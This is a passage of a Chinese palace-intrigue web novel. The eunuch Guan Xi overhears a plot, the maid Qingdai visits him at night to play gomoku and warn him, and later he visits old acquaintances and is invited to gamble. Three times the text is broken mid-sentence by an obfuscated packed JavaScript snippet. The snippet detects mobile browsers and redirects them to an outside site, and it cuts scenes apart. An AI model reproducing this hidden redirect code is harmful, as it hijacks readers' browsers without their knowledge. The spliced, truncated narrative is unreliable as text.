关禧对着承华宫太监名册,结合这几个月的暗中观察,慢慢勾画。陈公公必然要随侍冯昭仪左右,应对重要场合,几个老成稳重的,可安排在前殿要处,曹太监那伙人……他笔尖顿了顿,将其安排在了偏殿茶水间和外围洒扫这类活计不轻,但不易接触贵人的位置。 至于他自己…… “青黛姐姐,”他抬起头,看向正在另一张书案前核对赏赐物品单子的青黛,声音平稳,“小的的职责,姐姐可有安排?” 青黛从单子上抬起眼,看了他一下,“你?你便留在书斋候命吧,整理好相关卷宗,莫要离了地方。” 留在书斋。远离前殿的喧闹与人际往来,也避开了可能出现的各种是非。这安排,是保护,也是隔离。 “是,小的明白了。”关禧垂首应下,隐隐松了口气。万寿节那种场合,贵人云集,眼线众多,他这张脸,还是藏起来为妙。 筹备事宜紧锣密鼓,宫里各处张灯结彩的匠人也多了起来。承华宫廊下换上了崭新的喜庆宫灯,庭院里的花草也被精心修剪,摆上了应景的万年青,金桔盆景。 气氛越是热闹,关禧却越是警醒。他注意到,青黛近日外出次数增多,有时回来,身上会带着一丝极淡的,不同于承华宫常用的檀香气息。陈公公往内务府跑的也更勤了,回来时面色时而凝重,时而轻松。 这日傍晚,关禧交完一批核对好的礼单,从书斋出来,正要回房,在穿过后院那片竹林时,隐约听到假山后传来压得极低的争执声。一个是陈公公尖细的嗓音,另一个声音更低些,有些耳熟,却一时想不起。 “……你也太小心了!这时候不动,难道等她坐稳了,把咱们都踩下去?”是那个低哑的声音。 “你懂什么!娘娘自有分寸!现在动,打草惊蛇不说,若是惹恼了那位……”陈公公的声音又急又气,“咱们都得吃不了兜着走!” “那位?那位如今眼里只有玉芙宫的狐媚子!再不想法子,等人家真怀上了龙种,这宫里还有咱们娘娘站的地方?别忘了,长春宫的事……” “闭嘴!”陈公公厉声打断,声音带着惊惶,“这话也是能浑说的?你不要命,别拖累娘娘!” 假山后静了一瞬,随即是衣物窸窣和匆匆离去的脚步声。 关禧早已闪身躲在一丛茂密的翠竹后,屏住呼吸,心脏在胸腔里沉沉跳动。长春宫的事……果然没那么简单。陈公公他们,是在谋划着什么?针对徐昭容?还是…… 他不敢再听,待脚步声彻底消失,才悄无声息地退走,绕了远路回到自己小屋。 夜色深沉,他躺在床铺上,睁着眼。 窗外隐约传来宫中演练庆典乐舞的丝竹声,缥缈喜庆,却驱不散他心头的寒意。 他烦躁地翻了个身,硬板床发出轻微的嘎吱声。白日里对着那些繁琐的文书尚能强迫自己集中精神,可一旦夜深人静,独自面对这四壁空虚,那些被压抑的恐惧,迷茫,还有这具身体带来的,日益难以忽视的陌生躁动,便如同附骨之疽,啃噬着他脆弱的神经。 他下意识地伸手摸向枕边,那里放着那个粗陋的棋盘和两碗棋子,冰凉的触感从指尖传来,他捻起一粒黑子,在黑暗中无意识地摩挲着。 笃,笃笃。 门外响起了极轻,却异常清晰的叩门声。 节奏平稳,不疾不徐,在这寂静的深夜里却显得格外突兀。 关禧浑身一僵,捏着棋子的手指蓦然收紧。这个时辰,会是谁?陈公公?还是……曹太监那伙人又来找麻烦? 他屏住呼吸,没有立刻回应,脑子里飞快地转着。若真是陈公公或曹太监,不开门恐怕更糟。 “是我。”门外传来一个清冷平静的女声,声音不高,却像冰珠落玉盘,清晰地穿透门板。 是青黛。 关禧的心跳漏了一拍,随即不受控制地加速狂跳起来。青黛?她怎么会这个时辰过来?万寿节筹备事务繁忙,她不是应该在冯昭仪身边,或者已经歇下了吗?孤男寡女,深夜叩门……这不合规矩,也绝非青黛平日谨言慎行的作风。 他从床上坐起,慌乱地将棋盘和棋子往床铺里侧一推,又迅速理了理身上单薄的寝衣,确认并无过分不妥,才赤着脚,几步走到门边,深吸一口气,压下喉咙口的干涩,低声问道:“青黛姐姐?” “嗯,开门。”门外的声音平稳,听不出情绪。 关禧犹豫了一瞬,指尖触到冰凉的门闩,最终还是轻轻拉开了。 门外廊下悬着的气死风灯投来昏黄的光晕,勾勒出青黛纤细的身影。她穿着白日那身淡青色的比甲,外面罩了件同色的薄斗篷,头发梳得一丝不苟,脸上看不出疲惫,只有一双眼睛在昏暗光线下显得格外幽深。她手里没提宫灯,只拿着一个小小的,用素帕包裹的物件。 夜风从她身后吹来,带着夏日特有微凉的湿意,也送来她身上那股混合着淡淡皂角与书墨的清冽气息,瞬间驱散了小屋内 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16902255|192226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的沉闷。 “姐姐……这么晚了,可是娘娘有什么吩咐?”关禧侧身让开,垂下眼睫,不敢直视她。 青黛迈步走了进来,反手将门虚掩上,并未闩死。她的目光在狭小的屋内迅速扫过,简陋的床铺,空荡的桌子,墙角的水缸,还有床上未来得及完全遮掩的,粗糙的棋盘一角。 “没什么吩咐。”青黛的声音在逼仄的空间里响起,比门外时更清晰,也更近了些,“刚从娘娘那儿回来,见你屋里还亮着灯,顺路过来看看。”她走到桌边,将手中那个素帕包裹的小包放在桌上,“万寿节前后事务繁杂,娘娘体恤,赏了些安神的茶饼,我用不上,给你吧。夜里若是精神不济,或心绪不宁,可以泡一点喝。” 关禧的目光落在那素帕上,心跳得更乱。赏赐?经由青黛的手,在这个时辰,用这种方式?这绝不寻常。 “小的……谢娘娘恩典,谢姐姐记挂。”他躬身道谢,姿态恭顺,心底却警铃大作。 青黛没有接话,目光转而落在了他的脸上。昏黄的灯光下,少年肤色苍白,眼下有淡淡的青影,嘴唇因为紧张而微微抿着,长长的睫毛垂落,在下眼睑投下一小片阴影,随着呼吸轻轻颤动。白日里那份刻意维持的沉静恭顺,在深夜独处,猝不及防的来访面前,露出了裂痕,透出底下属于这个年纪本该有的惊惶。 “脸色不大好。可是近日差事太重,还是……夜里睡不安稳?” 关禧忙道:“小的不敢,差事都是分内应当。只是……只是近来天气闷热,有些择席。”他找了个最平庸的借口。 “哦?择席?”青黛的视线不经意地掠过他那张硬板床,又回到他脸上,唇角几不可察地弯了一下,那笑意很淡,“我还以为,是心里装了太多事,睡不着。” 她向前走了一小步,距离更近了些。关禧能清晰地闻到她身上那股清冽的气息,混合着夜露的微凉,不由主地向后退了半步,脚跟抵住了床沿。 青黛停下脚步,目光落在他微微敞开的寝衣领口。那里因为刚才匆忙起身而未拢严实,露出一小截清瘦的锁骨和凹陷的颈窝,在昏黄光线下,皮肤白得近乎透明,能看到淡青色的血管。 “小离子,”她忽然唤了他的名字,声音比刚才低柔了些,“在这宫里,聪明是好事,但有时候,知道得太多,想得太多,反而会成为负担,甚至……招来祸患。” “小的愚钝,听不懂姐姐的意思。” “听不懂?”青黛又靠近了半步,两人之间的距离已很近,因着身高差,她需微微仰面,才能看清他眼中闪过的惊惶,“长春宫的事,已经了了。万寿节将至,宫里需要的是喜庆祥和。有些不该听的,听到了也要当作没听见;有些不该想的,想到了也要立刻忘掉。把自己分内的事做好,安安分分地待在承华宫,待在……该待的地方。” “娘娘能把你从王公公那儿要过来,是看中你的用处。但这用处,必须用在正道上,用在……对的地方。若是心思歪了,或者管不住自己的眼睛耳朵,那么承华宫能给你的,也能轻易收回去。到了那时,你会被送回哪里,面临什么,想必……不用我多说。” 送回王公公那里,等着被献上御前。这个威胁,比任何直接的恐吓都有效。 关禧的脸色彻底白了,“小的……谨记姐姐教诲。小的只想办好差事,报答娘娘和姐姐的恩德,绝不敢有丝毫非分之想,亦不敢听不该听,想不该想。” 看着他这副惊弓之鸟的模样,青黛眼中那丝冰冷的锐利缓和了些许。 沉默在狭小的空间里蔓延,只有窗外极远处传来的,模糊的更梆声,和两人轻浅不一的呼吸声。 忽然,青黛伸出手,拿起了桌上那个素帕小包,拆开,里面是几块压制成梅花形状,深褐色的茶饼,散发着淡淡的香气。 “这茶,性凉,清心。”她拈起一块,递到关禧面前,“现在就泡一块喝了吧,或许……能让你睡得踏实些。” 关禧看着递到眼前的茶饼,和那只执着茶饼白皙纤长的手指。指尖圆润,指甲修剪得整齐干净,透着健康的淡粉色。他迟疑了一下,伸出双手去接,指尖不可避免地碰到了青黛微凉的指尖。 那一触即分的接触,却像带着微弱的电流,让关禧浑身一僵,差点将茶饼掉在地上。 青黛似乎没有察觉他的失态,或者说并不在意。她收回手,转身走到桌边,提起墙角木架上那个半旧的陶壶,晃了晃,里面还有小半壶冷水。 “我去给你要点热水。”她说着,竟真的拿着陶壶,转身朝门口走去。 “不、不用麻烦姐姐了!小的喝冷的就行!”关禧慌忙道。 青黛脚步一顿,回头看了他一眼,“夜里喝冷的,更伤脾胃。”说完,便拉开门走了出去,身影很快没入廊下的阴影里。 21.第 21 章 关禧独自站在小屋中央,手里捏着那块微硬的茶饼,心脏在胸腔里狂跳不止,掌心一片湿冷。 她到底想干什么?是真的来敲打警告他? 还是……另有目的? 没过多久,轻缓的脚步声再次响起。 青黛提着那个陶壶回来了,壶口冒着丝丝缕缕的热气,她神情自若,把陶壶放在桌上,又从袖中取出一个小小的素白瓷杯,显然是她自己随身带的。 她拿起茶饼,掰下一小块放入杯中,提起陶壶,缓缓注入热水。深褐色的茶饼在热水中迅速舒展,释放出更浓郁的清苦香气,袅袅白汽升腾起来,模糊了两人之间的视线。 “喝吧。”青黛将泡好的茶推到桌子另一边,自己则顺势在桌旁那张简陋的木凳上坐了下来,姿态自然,仿佛这里是她自己的房间。 关禧看着那杯冒着热气的茶,又看了看坐在那里,好整以暇不打算立刻离开的青黛,喉咙发紧。他挪动脚步,走到桌边,端起那杯烫手的茶,小口小口地啜饮起来。 他不敢坐下,只能捧着茶杯,垂首站在桌边。 “会下棋?”青黛的目光,落在了床上那隐约露出的棋盘边缘。 关禧手一抖,差点泼出茶水:“不……不会。只是……胡乱捡来的,看着解闷。” “看着解闷?”青黛重复了一句,起身走到床边,伸手将那个粗陋的棋盘和两碗棋子拿了起来。她掂了掂棋盘,指尖拂过那些深浅不一的刻痕,又看了看碗里那些形状不规则的碎石片和陶土块。 关禧的心提到了嗓子眼,不知道她要做什么。 青黛拿着棋盘棋子,重新坐回桌边,将棋盘在桌上摊开。然后,她竟从自己那碗白子中,拈起一粒,放在了棋盘正中央的天元位上,恰好是关禧上次自己跟自己下时,黑子落下的位置。 “我教你。”她抬起头,看向僵立在一旁的关禧,“围棋不会,简单的五子棋,总该知道吧?连成五子一线,便算赢。” 关禧彻底愣住了。青黛……要教他下五子棋?在这深更半夜,在他这间简陋的小屋里? 见他不语,青黛又从黑子碗中取出一粒,递向他:“还是说,你连这个,也不敢?” 那句“不敢”,轻轻巧巧,关禧看着递到眼前的黑子,又看看青黛平静的眼神,终于伸出手,接过了那粒粗糙冰凉的棋子。 他的指尖再次划过青黛的指尖。这一次,接触的时间更久一些。青黛的指尖微凉,却异常柔软。 “坐。”青黛示意他对面的床沿。 关禧依言,有些僵硬地坐在了床沿上,与青黛隔着一张破旧的木桌和一方粗陋的棋盘。 青黛执白,关禧执黑。 “你先。”青黛淡淡道。 关禧捏着黑子,看着纵横交错的棋盘,又看看对面气定神闲的青黛,一时间竟不知该落子何处。这情景太过荒诞,深夜,孤室,他与承华宫的掌事宫女,对弈着一盘用碎石陶土代替的五子棋。 他定了定神,将黑子落在了白子旁边。 青黛几乎是毫不犹豫地,落下了第二颗白子,封住了黑子一个方向。 棋局就这样无声地展开了。 落子声“嗒”、“嗒”响起,在寂静的夜里格外清晰。关禧起初心神不属,落子仓促,很快便被青黛的白子隐隐形成了攻势。但渐渐的,他被棋局本身吸引了注意力。青黛的棋路清晰,防守严密,偶尔的进攻也带着一种不疾不徐的从容,像极了她在宫中处事的风范。 而关禧,一旦沉浸进去,逻辑思维便开始发挥作用,他开始计算步数,预判青黛的意图,寻找可能的连接和突围点。他的落子慢了下来,眼神也逐渐专注。 两人都沉默着,只有棋子起落的声音,和窗外若有若无的宫廷夜籁。 不知过了多久,关禧盯着棋盘,眉头微蹙。黑子看似散乱,但他刚刚悄悄布下了一个双重陷阱:他先制造了一个看似迫在眉睫的冲四活三,诱使对手来防;一旦白子落入这个圈套,他真正的杀招,一个隐藏的一子双杀才将显露。他紧张地等待着青黛的反应。 青黛拈起一粒白子,悬在棋盘上方。她的目光掠过关禧微微抿紧的唇和专注的眼神,指尖未作停留,便轻盈地落在了棋盘另一个看似无关的要点上。 关禧先是一怔,随即心头剧震。青黛这一子,并非去堵他摆在外面的那把刀,而是精准地落在他暗藏杀招的筋上,他精心构筑的后续所有攻势,如同被抽掉关键一块的积木,瞬间崩塌。更令他心惊的是,这步棋在化解他全部威胁的同时,悄然将白棋两处散子贯通成势,反手筑起了更为坚实的攻势。 她不仅看穿了他的双层陷阱,还用一步棋,轻描淡写地拆解了所有危机,并反手主导了棋局。 “下棋,如同在这宫里行事。”青黛开口,声音在棋子轻响中显得格外清晰,“不能只盯着眼前一招的得失,也不能只算计明处的一条线。有时候,看似无关的一子,落在旁处,却能定全局的生死。”她抬起眼,看向关禧,“你心思细,能算三步,这是你的长处。但若只算自己这三步,看不到别人可能的后手,甚至看不到棋盘之外执棋人的心思,那便是取死之道。” 关禧捏着棋子的手停在半空,后背沁出一层细密的冷汗。青黛的话,一语双关。棋局如此,他在这宫中的处境,又何尝不是如此? “小的……受教了。”他低声道,将手中黑子,落在了另一个更为稳妥的位置,放弃了原先的进攻,转为巩固防守。 青黛看着他的落子,眼中掠过一丝几不可察的满意。她没有继续咄咄逼人,也跟着落下一子,棋局再次进入平缓的纠缠。 又下了片刻,眼看白子渐渐形成了优势。 关禧正苦思对策。 “不下了。”青黛淡淡道,将指尖那粒白子轻轻放回陶碗,发出细微的磕碰声。她抬起眼,目光掠过对面因棋局而暂时忘神的少年,眸底那丝审视般的锐利,似乎被氤氲的茶气和这古怪的对弈氛围,晕染得模糊了些,透出点难以言喻的幽深。 关禧正全神贯注于棋局,思考着如何破解白子隐隐成型的三三之势,闻言一愣,捏着黑子的手悬在半空,有些茫然地看向她。 他此刻只穿着那件单薄的白色棉布寝衣,因为刚才匆忙起身,下棋时微微前倾的动作,衣襟松垮,领口敞得更开些,露出一片瓷白的脖颈和更深的锁骨阴影。 夏日寝衣料子本就轻薄,屋内油灯光线昏黄,照在那层棉布上,竟隐隐透出底下少年清瘦的身形轮廓,尤其是肩胛和胸肋的线条,在光线角度下若隐若现。 青黛的视线在他领口停留了一瞬,又扫过他因为专注棋局而微微绷紧,隔着薄薄衣料也能看出流畅线条的手臂。 “你平日见人,也总是这样?”她忽然开口,声音比方才谈论棋局时更轻。 “什么样?”关禧下意识地反问,顺着她的目光低头看了看自己,随即意识到什么,手忙脚乱地去拢松散的衣襟,他这才后知后觉地想起,这是古代,是礼教森严的深宫,即便对方是宫女,即便他此刻身份是太监,只穿着寝衣,这在他看来不过是睡衣,甚至比现代夏天的T恤短裤保守得多,但在青黛眼里,恐怕与衣衫不整,不成体统没什么区别。 “小、小的失仪!”他慌忙站起身,想找件外袍披上,可那件换下来的靛青色 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“棋下得不错。”她又跳回了之前的话题,仿佛刚才那段关于衣着的插曲从未发生,“心思活,懂得变通。只是……”她顿了顿,意有所指,“有时候,太过专注于棋盘上的线,反而会忽略执棋之人的手。下棋之人想让你赢,你才能赢;想让你输,你怎么挣扎都是输。记住这点。” 关禧心乱如麻,只能懵懂地点头。 “好了,夜深了。”青黛整理了一下自己的衣袖和衣襟,那副沉稳干练的掌事宫女姿态重新回到了她身上,“茶也喝了,棋也下了,话也说了。你早些歇着吧,万寿节前,还有得忙。” 她转身,走向门口,步履从容。拉开门扉,夜风涌入,吹动她淡青色的衣摆和鬓边一丝不苟的发丝。 “对了,”她在门槛处停步,没有回头,声音随着夜风飘来,清晰入耳,“那棋盘棋子,既捡来了,就收好。宫里不兴这些玩物丧志的东西,别让人瞧见。” 话音落,她已踏入廊下阴影中,脚步声渐行渐远,最终融入了深宫无边的寂静。 关禧独自站在小屋中央,身上裹着那件匆忙披上的外袍,手里还捏着那粒始终未落下的黑子。空气中仿佛还残留着清苦的茶香,和她身上那股冷冽又干净的气息。 脸上热度未退,心跳依旧失序。 青黛最后那几句话,关于棋,关于执棋之手,关于棋盘棋子……像迷雾中的灯火,影影绰绰,照出前路崎岖,却又看不真切。 而她方才的举止,那些目光,那些言语……究竟是有意的试探,无心的疏忽,还是…… 关禧用力甩了甩头,不敢再想下去。 他走到门边,将门轻轻闩上,低头,看着自己身上这身不伦不类的打扮。 这深宫的夜,果然一刻也不让人安宁。 22.第 22 章 宫里关于万寿节的筹备越发如火如荼,空气里都弥漫着一股紧绷而兴奋的气息。各处宫苑张灯结彩的速度快得惊人,连承华宫最偏僻的角落,也挂上了崭新绘着吉祥图案的灯笼。内务府,光禄寺等衙门的人往来穿梭,脚步匆匆,捧着各式各样的清单,样品,贡礼。 在这种全民忙碌的氛围里,一项难得的恩典也悄然落实——轮休。虽只是短短一日,且需错开安排,确保各处当值人手不断,但对于常年如螺钿般运转的宫人来说,已是天大的喘息之机。 关禧的轮休日,被安排在万寿节前三天。 青黛那日随口提了一句:“放你一日假,也该出去走走,透透气,总闷在书斋里,人都要僵了。” 休沐这日,是个难得的晴好日子。夏末的阳光已褪去了最酷烈的毒辣,变得温煦明朗,天空是高远澄澈的湛蓝,几缕薄云悠然飘过。微风拂过宫墙,带来隐约的桂花甜香,那是御膳房和光禄寺为了节庆糕点,特意催开的早桂。 关禧换上了一身浆洗得干净挺括的靛青色太监服——不是承华宫那套,而是他当初从派办处带过来的旧衣。料子普通,颜色也略深些,但胜在整齐利落。他将头发仔细束好,戴上太监帽,对着水盆里模糊的倒影看了看。镜中人面色苍白,眼神比初来时沉静了许多,那张过于精致的脸在整齐服饰的约束下,少了几分惹眼的昳丽,多了些属于底层太监的恭顺。 他今日的目的很明确:先去净舍那边看看石头,然后,顺道去拜访王公公。 石头是他穿越之初,在这冰冷宫墙内感受到的第一丝微弱善意。尽管他自己前途未卜,但心底总还记挂着那个善良的孩子。听说石头还在王公公手下做些杂役,住在净舍那阴暗拥挤的大通铺。关禧想看看他过得如何,或许……能稍微接济一点,或者只是说几句话。 而拜访王公公,则是他深思熟虑后的决定。王公公是他的引路人,将他从净舍的泥淖里捞出来,送入派办处,又大方地让给了冯昭仪。这份恩情,表面功夫必须做足。更重要的是,他需要摸清王公公如今对他的态度,以及王公公在万寿节乃至后宫日益微妙的局势中,站在哪一边,或者……想从哪一边获利。他怀里揣着一个小布包,里面是他这段时间省吃俭用攒下的,约莫五两的碎银子,这对他来说已是一笔不小的数目,准备作为孝敬。 收拾停当,他深吸一口带着桂香和阳光味道的空气,迈出了承华宫的侧门。 宫道上来往的人比平日更多,大多是步履匆匆,捧着各类物品的低阶太监宫女。关禧低着头,沿着记忆中的路线,朝着掖庭最北边的净舍方向走去。越往那边走,宫苑越显陈旧偏僻,喧闹的节庆气氛也淡了下去。 刚走出承华宫范围不远,经过一处连接东西巷道的月亮门时,一个淡青色的身影恰好从另一侧拐了出来,两人险些撞个满怀。 关禧连忙刹住脚步,后退半步,垂首躬身:“青黛姐姐。” 正是青黛。她今日也是外出办事,穿着一身更便于行动的浅青色窄袖便装,头发利落地绾起,只插着一根素银簪子,手里拿着一个卷起来的册子。 “是你。今日轮休?”青黛的目光在他身上那套略深的靛青太监服上停顿了一瞬。 “是,姐姐。小的想着许久未见故人,趁今日得空,去净舍那边探望一下旧识。”关禧如实答道,语气恭谨。 “旧识?”青黛眉梢几不可察地一动,“净舍那边……你倒是有心。”她语气平淡,听不出是赞许还是别的什么,“去看谁?” “一个叫石头的小太监,当初在净舍时,他曾给过小的一点照应。”关禧小心地回答,不知为何,在青黛面前提起石头,让他有种莫名的紧张,仿佛自己的某段过去被摊开审视。 “石头……”青黛重复了一遍这个名字,没什么印象,只淡淡道,“知恩图报,是好事。不过,净舍那地方鱼龙混杂,你自己也清楚。见过便罢,莫要久留,更莫要牵扯过深。” “是,小的明白,谢姐姐提点。”关禧躬身应道。 青黛看着他低垂露出一截白皙后颈的脑袋,沉默了片刻。阳光透过月亮门的花墙,在她脸上投下斑驳的光影。她的声音忽然低了一些,不同于平日吩咐公事的语气: “你身上这衣裳,是旧日在派办处时的?” 关禧心里一紧,忙道:“是。今日外出,想着穿旧衣便宜些。” “嗯。”青黛不置可否,“去见王公公?” 关禧心头一震,没想到青黛如此敏锐。他不敢隐瞒,也不敢完全承认,只含糊道:“王公公对小的有引路之恩,若有机会,理应问安。” 青黛的唇角极轻微地弯了一下,那弧度转瞬即逝。“是该去问问安。”她语气平淡,却仿佛意有所指,“王公公近日,怕是忙得很。万寿节在即,内务府那边千头万绪,他老人家又是管着采买派办的实权人物,不知多少人盯着,等着孝敬,也等着……抓错处。” 关禧屏住呼吸,仔细咀嚼着她话里的每一个字。这是在提醒他王公公处境微妙?还是暗示他此去可能看到或听到什么? “你去吧。”青黛不再多言,将手中的册子换到另一只手,“记得早些回来。万寿节前,各处宫门落钥的时辰会提前,巡查也会更严。” “是,小的记下了。姐姐……也请多保重。”关禧再次躬身,直到青黛淡青色的衣角消失在月亮门另一侧,才直起身,继续朝着净舍方向走去。 净舍还是老样子,甚至因为节前部分人手被抽调去帮忙,显得比往常更加破败冷清。空气中弥漫着挥之不去的霉味和劣质油脂气味。 关禧的出现,引起了一阵小小的骚动。当初同屋的那些小太监,有的已经被分派到各处,有的还留在这里,看到衣着整齐,气色明显好了许多的关禧,眼神里充满了复杂的情绪,羡慕,嫉妒,漠然,还有一丝不易察觉的畏惧,大概是关于他诈尸的传闻。 关禧没有理会那些目光,径直找到了缩在角落通铺上的石头。 石头长高了一点点,但依旧瘦得厉害,眼神里的怯懦更深了。看到关禧,他先是不敢置信地揉了揉眼睛,随即眼圈一下子就红了,从铺位上跳下来,手足无措地站着:“离、离子哥!真、真的是你!” 关禧心里有些发酸,拉着他走到屋外稍微僻静些的角落,将早就准备好的一个小油纸包塞到他手里,里面是几块耐放的糕点和他省下的一些铜钱,“石头,拿着。别让人看见。” 石头捏着那还有余温的油纸包,眼泪啪嗒啪嗒掉下来,又想哭又想笑:“离子哥,你、你真好……我还以为你再也不回来了……你现在在承华宫,是不是过得特别好?我听说冯昭仪娘娘人可好了……” 关禧拍拍他的肩膀,低声道:“我还好。你自己在这里,万事小心,机灵点,别惹事,但也别太吃亏。王公公那边……还常常过来吗?” 石头擦了擦眼泪,小声说:“王公公……不怎么常来净舍了。不过前几日还来过一次,挑走了两个长得齐整的,说是……说是要好好调理,预备着。”他声音更低,带着惧意,“离子哥,我害怕……我不想被挑走。” 关禧心中了然。王公公果然还在物色货物。他安慰了石头几句,又仔细问了问净舍最近的状况和王公公手下那些管事的动向,心里大致有了数。 离开净舍时,关禧的心情有些沉重。石头眼中的恐惧,像一面镜子,映照出他曾经和可能面临的未来。他必须更快地往上爬,或者找到出路。 调整了一下心绪,他转向内务府派办处的方向。 派办处今日更是忙得人仰马翻。院子里堆满了各式各样的货箱,绸缎,器皿,算盘珠子打得噼啪响,吆喝声,争执声不绝于耳。关禧通报了姓名,说是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你能在冯昭仪娘娘身边站稳脚跟,那是你的造化,也是咱家的脸面。”王元宝端起茶盏,用杯盖撇着浮沫,语气变得有些语重心长,“不过啊,小离子,这宫里头的风云变幻,有时候快得让人措手不及。万寿节是普天同庆的大喜事,可这大喜事的背后啊……呵呵。”他笑了笑,没有说下去,转而问道,“你在承华宫,可曾听说……玉芙宫那边,近日有什么特别的动静?或者,皇后娘娘对这次万寿节的安排,可有什么……不同以往的指示?” 王元宝这是在打听消息,而且直指徐昭容和皇后,关禧谨慎地答道:“回公公,小的身份低微,只在书斋整理文书,鲜少有机会听闻各宫动静。皇后娘娘的旨意,都是经由青黛姐姐传达,小的只是按吩咐办事,不敢逾矩打听。” “嗯,谨慎些好。在冯昭仪娘娘身边,更需如此。”王元宝放下茶盏,身体微微前倾,压低了声音,“不过,有些风声,咱家在这派办处,倒是听得比旁人清楚些。徐昭容如今圣眷正浓,玉芙宫的用度……可是水涨船高啊。有些东西,甚至走了特殊的路子,绕开了内务府的常规核查。”他意味深长地看着关禧,“冯昭仪协理六宫,最重规矩体统,这些事……想必不会坐视不理吧?” 关禧听得手心冒汗。王元宝这是在暗示徐昭容可能有逾越之举,甚至可能涉及前朝?他是在向冯昭仪示好,还是想借自己的口传递什么?亦或是……两边下注? “公公明鉴,娘娘行事,自有章程,小的岂敢妄加揣测。”关禧将皮球轻轻踢了回去,姿态放得更低,“小的只知恪守本分,办好娘娘和青黛姐姐交代的差事。” 王元宝盯着他看了几秒,忽然哈哈一笑,拍了拍他的肩膀:“好,好!本分最要紧!你能这么想,咱家就放心了!行了,你也难得休沐,去看过旧相识了?咱家就不多留你了。回去替咱家给冯昭仪娘娘和青黛姑娘带个好。” 这便是送客的意思了。 关禧识趣地起身,再次行礼:“是,小的一定将公公的问候带到。公公事务繁忙,小的就不打扰了,先行告退。” 23.第 23 章 退出派办处,走在回承华宫的路上,关禧的心跳才渐渐平复下来。 王元宝的态度暧昧不明,既示好又试探,既提醒又保留。他提到徐昭容的特殊路子,提到冯昭仪的重规矩,无疑是在点明后宫两股势力的角力,而他王公公,更倾向于,或者至少是愿意向冯昭仪这边透露一些信息。 青黛的默许,王元宝有意的透露…… 他抬头望了望湛蓝的天空,深深吸了口气。 无论如何,路还要继续走。先回承华宫,将今日所见所闻仔细梳理,然后……等待青黛,或者冯昭仪,下一步的指令。 他刚走过一道宫墙拐角,前方连接着几处宫苑杂役房的巷口,传来一阵略显喧闹的嬉笑声,打破了午后这片刻的宁静。 四五个穿着不同颜色,代表不同宫苑的太监正聚在那里,年纪看起来都不大,二十上下,脸上带着一种忙碌间隙偷得浮生的兴奋。其中一个穿着姜黄色坎肩,圆脸微胖的太监正手舞足蹈地说着什么,引得其他人一阵哄笑。 关禧脚步微顿,认出其中两人有些面熟。那个圆脸微胖的,是钟粹宫刘美人的贴身太监,叫小禄子,嘴巴伶俐,常在各处跑腿传话,消息灵通。另一个瘦高个,眼角有颗小痣的,像是景阳宫赵选侍那里的,记不清名字了,但打过照面。其余几个,看着眼生,大约是其他不得宠或低位妃嫔宫里的。 在宫中,太监宫女们私下有些小圈子并不稀奇,尤其是这些年纪相仿,品级相近的,当差之余聚在一处,嚼嚼舌根,抱怨几句管事,或是寻点不入流的乐子,都是常有的事。关禧平日里刻意避开这些,一是身份敏感,二是无心交际,但此刻巷口是回承华宫的必经之路。 他正想低头快步走过,那小禄子眼尖,已经瞧见了他,立刻扬手招呼起来:“哟!这不是承华宫的小离子嘛!今儿个太阳打西边出来了,竟在这儿碰见!快来快来!” 其余几人也纷纷转过头,目光齐刷刷落在关禧身上,那眼神里有好奇,有打量,也有一丝不易察觉对于他这张脸和如今在承华宫当差的微妙审视。 关禧无法,只得停下脚步,脸上堆起恰到好处略显拘谨的笑容,上前几步,微微躬身:“给各位哥哥请安。今日小弟轮休,出来走走。” “轮休好啊!”小禄子笑嘻嘻地凑过来,很自来熟地拍了拍关禧的肩膀,“咱们哥儿几个也刚忙完手里的活,正想着找地方松快松快呢!你这一个人瞎逛有什么趣儿?正好,跟咱们一道去!” “一道去?”关禧面上露出些许为难,“不知哥哥们要去何处?小弟……还得早些回去。” “回那么早作甚?青黛姐姐还能吃了你不成?”旁边那个瘦高个太监挤眉弄眼,他叫小栓子,说话带着点油滑,“咱们去的地方,保准你没见识过,比闷在屋子里强百倍!走走走!” “就是就是!”另一个肤色黝黑,手掌粗大的太监也帮腔,他是永和宫一个老嬷嬷手下的粗使太监,力气大,性子也直,“磨磨唧唧像个娘们!咱们又不吃人!” 几个人你一言我一语,半是邀请半是裹挟,将关禧围在了中间。关禧看出他们并无恶意,纯粹是闲得发慌,想拉个新人一起找乐子,若强行拒绝,反而显得不识抬举,容易得罪人。在这宫里,多个熟人总比多个敌人强,尤其这些在各宫底层当差的太监,消息往往最是灵通杂乱。 “不知……哥哥们是要去……”关禧试探着问,目光扫过他们兴奋的脸。 小禄子左右看了看,压低声音,脸上露出一种做坏事般的兴奋光彩:“还能去哪儿?老地方,听涛阁后头那排废了的值房!僻静,没人管!咱们去玩两把小的,乐呵乐呵!” 听涛阁是御花园西侧一处临水的轩馆,夏日里主子们偶尔会去乘凉听戏,后面确实有几排早年给戏子,乐工临时歇脚的值房,后来班子裁撤,那里就渐渐荒废了,平日少有人去,成了某些宫人私下聚集的宝地。 玩两把小的……关禧立刻明白了。是赌。掷骰子,推牌九,或是叶子戏。这在宫禁中自然是明令禁止的,但屡禁不止,尤其是逢年过节或主子们无暇他顾的时候,底下人总会想方设法寻点刺激。 